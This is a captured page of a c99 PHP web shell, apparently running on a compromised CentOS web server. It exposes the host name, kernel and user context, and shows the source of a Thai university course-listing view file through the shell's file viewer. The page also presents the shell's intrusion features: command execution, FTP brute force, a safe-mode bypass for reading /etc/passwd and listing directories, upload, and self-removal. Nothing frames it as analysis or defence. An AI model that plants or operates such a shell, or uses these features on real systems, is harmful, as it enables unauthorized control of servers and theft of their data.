!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_courseInCourseOpenTable.php (4.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<head>
<title>ตารางรายวิชาในหลักสูตร</title>
<script language="JavaScript">
function ReturnValue(crsId,crsCode,crsName,crsUnit,cdId1,cdId2) {
    window.opener.document.myform.elements["crsId"].value = crsId;
    window.opener.document.myform.elements["crsCode"].value = crsCode;
    window.opener.document.myform.elements["crsName"].value = crsName;
    window.opener.document.myform.elements["crsUnit"].value = crsUnit;
    window.opener.document.myform.elements["cdId1"].value = cdId1;
    window.opener.document.myform.elements["cdId2"].value = cdId2;
    window.close();
}
</script>
</head>
<body>
<table width="100%" border="0" cellspacing="1" cellpadding="1">
    <tr>
        <td><br /></td>
    </tr>
    <?php echo form_open($this->config->item("rg_folder")."popup/crsInCo_popup" , array("name" => "myform""id" => "myform"));?><tr bgcolor="#FFFFFF">
        <td colspan="4">
        <font size="2"><b>รหัสวิชา</b>
        <input type="text" id="crsCode" name="crsCode" value="<?php echo set_value('crsCode');?>" size="8" />
        <b>ชื่อวิชาไทย</b>
        <input type="text" id="crsName" name="crsName" value="<?php echo set_value('crsName');?>" />
        <b>ชื่อวิชาอังกฤษ</b></font>
        <input type="text" id="crsNameE" name="crsNameE" value="<?php echo set_value('crsNameE')?>" />
        <input type="submit" id="search" name="search" value="ค้นหา" />
        <input type="reset" id="reset" value="เคลียร์ข้อมูล" /><br />
        <input type="hidden" id="curId" name="curId" value="<?php echo $curId;?>" />
        <input type="hidden" id="tmId" name="tmId" value="<?php echo $tmId;?>" />
        <input type="hidden" id="acY" name="acY" value="<?php echo $acY;?>" />
        <input type="hidden" id="syId" name="syId" value="<?php echo $syId;?>" />
        </td>
    </tr><?php echo form_close();?>
<?php
    
if(isset($flgmsg)) {
?>
    <tr>
        <td colspan="4" align="center"><font size="2" class="error"><?php echo $flgmsg;?></font></td>
    </tr>
<?php
    
}
?>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><table class="headCol">
            <tr> 
                <th>ลำดับที่</th>
                <th>รายวิชา</th>
                <th>หน่วยกิต</th>
                <th>หลักสูตร</th>
            </tr>
<?php
    $num_rows 
count($rs);
    if (
$num_rows) {
        foreach (
$rs as $key => $val) {
            
$row_crs $rs[$key]['qu_crs']->row();
            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";

?>
        <td align="center" ><span class="hand" onClick="ReturnValue('<?php echo $row_crs->crsId;?>','<?php echo $row_crs->crsCode;?>','<?php echo $row_crs->crsName;?>','<?php echo $row_crs->crsUnit;?>','<?php echo $rs[$key]['cdId1'];?>','<?php echo $rs[$key]['cdId2'];?>')"><?php echo $key 1;?></span></td>
        <td><span class="hand" onClick="ReturnValue('<?php echo $row_crs->crsId;?>','<?php echo $row_crs->crsCode;?>','<?php echo $row_crs->crsName;?>','<?php echo $row_crs->crsUnit;?>','<?php echo $rs[$key]['cdId1'];?>','<?php echo $rs[$key]['cdId2'];?>')"><?php echo $row_crs->crsCode.' '.$row_crs->crsName;?></span></td>
        <td align="center"><span class="hand" onClick="ReturnValue('<?php echo $row_crs->crsId;?>','<?php echo $row_crs->crsCode;?>','<?php echo $row_crs->crsName;?>','<?php echo $row_crs->crsUnit;?>','<?php echo $rs[$key]['cdId1'];?>','<?php echo $rs[$key]['cdId2'];?>')"><?php echo $row_crs->crsUnit;?></span></td>
        <td><span class="hand" onClick="ReturnValue('<?php echo $row_crs->crsId;?>','<?php echo $row_crs->crsCode;?>','<?php echo $row_crs->crsName;?>','<?php echo $row_crs->crsUnit;?>','<?php echo $rs[$key]['cdId1'];?>','<?php echo $rs[$key]['cdId2'];?>')">
<?php
            
foreach ($rs[$key]['rs_pcr']->result() as $row_pcr) {
                echo 
$row_pcr->curName.'<br />';
            }
?>
        </span></td>
    </tr>
<?php
        
}
    } else {
?>
    <tr>
        <td colspan="4" align="center" bgcolor="#FFFFFF"><font size="2" class="error">** ไม่ปรากฏรายการดังกล่าวในฐานข้อมูล **</font></td>
    </tr>
<?php
    
}
?>
</table>
<table width="100%" border="0" cellspacing="1" cellpadding="1">
    <tr>
        <td align="right"><font size="2">รวม <?php echo $num_rows;?> รายการ</font></td>
    </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0126 ]--